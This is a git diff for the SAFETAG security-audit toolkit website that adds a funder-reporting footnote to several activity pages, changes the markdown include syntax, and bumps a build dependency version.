b/content/toolkit/activities/un-addressed-concerns.md @@ -17,6 +17,8 @@ Write explanations for why any adversaries or threats that the auditor identifie + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/vulnerability-research.md b/content/toolkit/activities/vulnerability-research.md index d548bd6..702d47f 100644 --- a/content/toolkit/activities/vulnerability-research.md +++ b/content/toolkit/activities/vulnerability-research.md @@ -18,6 +18,8 @@ origin_path: master/en/exercises/vulnerability_research/summary.md + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/vulnerability-scanning.md b/content/toolkit/activities/vulnerability-scanning.md index eb3834c..eb3c45c 100644 --- a/content/toolkit/activities/vulnerability-scanning.md +++ b/content/toolkit/activities/vulnerability-scanning.md @@ -20,7 +20,7 @@ This activity uses active research and scanning to detect known vulnerabilities ## Considerations -!INCLUDE "../../methods/vulnerability_analysis/operational_security.md" +:[](../../methods/vulnerability_analysis/operational_security.md) * Be very careful about which automated scans you run to ensure that no aggressive or potentially damaging tests are included. * OpenVAS saves its scan records in /var/lib/openvas/mgr/tasks.db - this file will contain sensitive data, ensure it is stored securely. @@ -28,7 +28,7 @@ This activity uses active research and scanning to detect known vulnerabilities ## Walkthrough -!INCLUDE "openvas.md" +:[](openvas.md) @@ -37,10 +37,12 @@ This activity uses active research and scanning to detect known vulnerabilities The auditor will need to do research and compare against the organization's capacity and risks to give specific recommendations based on the vulnerabilities discovered in the process. Some common recommendations include the following: ##### Out of Date Content Manangement System -!INCLUDE "../cms_version/recommendations.md" +:[](../cms_version/recommendations.md) ##### Insecure Website Login -!INCLUDE "../insecure_website_login/recommendations.md" +:[](../insecure_website_login/recommendations.md) + + diff --git a/content/toolkit/activities/wep-password-cracking.md b/content/toolkit/activities/wep-password-cracking.md index f8c6cf9..7f68870 100644 --- a/content/toolkit/activities/wep-password-cracking.md +++ b/content/toolkit/activities/wep-password-cracking.md @@ -36,6 +36,8 @@ For educational purposes, if no WEP network is available, you can use [this](htt + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/wireless-range-mapping.md b/content/toolkit/activities/wireless-range-mapping.md index e33dbb2..b78f88d 100644 --- a/content/toolkit/activities/wireless-range-mapping.md +++ b/content/toolkit/activities/wireless-range-mapping.md @@ -3,7 +3,7 @@ id: wireless-range-mapping name: Wireless Range Mapping description: This component allows the auditor to show the "visibility" of an organization's wireless network to determine how far... origin: https://github.com/SAFETAG/SAFETAG -origin_path: master/en/exercises/wireless_range_mapping/recommendations.md +origin_path: master/en/exercises/wireless_range_mapping/summary.md --- # Wireless Range Mapping @@ -41,6 +41,8 @@ Depending on office layout, moving the wireless access point may help to reduce See also Monitoring Open Wireless Traffic recommendations and Network Access security recommendations. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/wpa-password-cracking.md b/content/toolkit/activities/wpa-password-cracking.md index 15e2d9c..75c81a9 100644 --- a/content/toolkit/activities/wpa-password-cracking.md +++ b/content/toolkit/activities/wpa-password-cracking.md @@ -121,6 +121,8 @@ Figure 1: WiFi signal strength from a nearby location + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/wps-pin-cracking.md b/content/toolkit/activities/wps-pin-cracking.md index 7743317..ed5b7b3 100644 --- a/content/toolkit/activities/wps-pin-cracking.md +++ b/content/toolkit/activities/wps-pin-cracking.md @@ -32,6 +32,8 @@ WPS was built as an addition to WPA to make it easier to add devices without typ WPS Pin entry should be disabled on the wireless router, or only enabled temporarily to add new devices to the network. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/methods/images/image_license.md b/content/toolkit/methods/images/image_license.md index 7655c6c..c1e64d3 100644 --- a/content/toolkit/methods/images/image_license.md +++ b/content/toolkit/methods/images/image_license.md @@ -14,6 +14,8 @@ origin: https://github.com/SAFETAG/SAFETAG + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/package-lock.json b/package-lock.json index c29e050..74b9f17 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1132,9 +1132,9 @@ "integrity": "sha1-Cl9sK0NNnMgmoUWn8BX3tmT0pfM=" }, "metalsmith-migrate-safetag": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/metalsmith-migrate-safetag/-/metalsmith-migrate-safetag-0.1.2.tgz", - "integrity": "sha512-wl4ujJnt7uMRAXbbiRIWHdw4/m+FWLsPERcC0Ux3DJuPITNZYhIiUkRmUGs/P19HwKcSUA6H3ksTYCar2ucuEQ==", + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/metalsmith-migrate-safetag/-/metalsmith-migrate-safetag-0.1.7.tgz", + "integrity": "sha512-BrJuGsNDyAN+B0fhoVDgNxAld+hCjMk2NeMBan9lu7xqARJTGpbtS5QceKKYA7SKmF39OiRrH82a9zaI0IgGXw==", "requires": { "debug": "2.6.8", "lodash": "4.17.4", diff --git a/package.json b/package.json index a2655ee..3b18a6f 100644 --- a/package.json +++ b/package.json @@ -24,7 +24,7 @@ "metalsmith-markdown-taxonomy": "^0.0.2", "metalsmith-matters": "^1.2.0", "metalsmith-metacopy": "^0.2.0", - "metalsmith-migrate-safetag": "^0.1.2", + "metalsmith-migrate-safetag": "^0.1.7", "metalsmith-packages": "^0.1.0", "metalsmith-pandoc": "^0.2.3", "metalsmith-paths": "^3.0.1",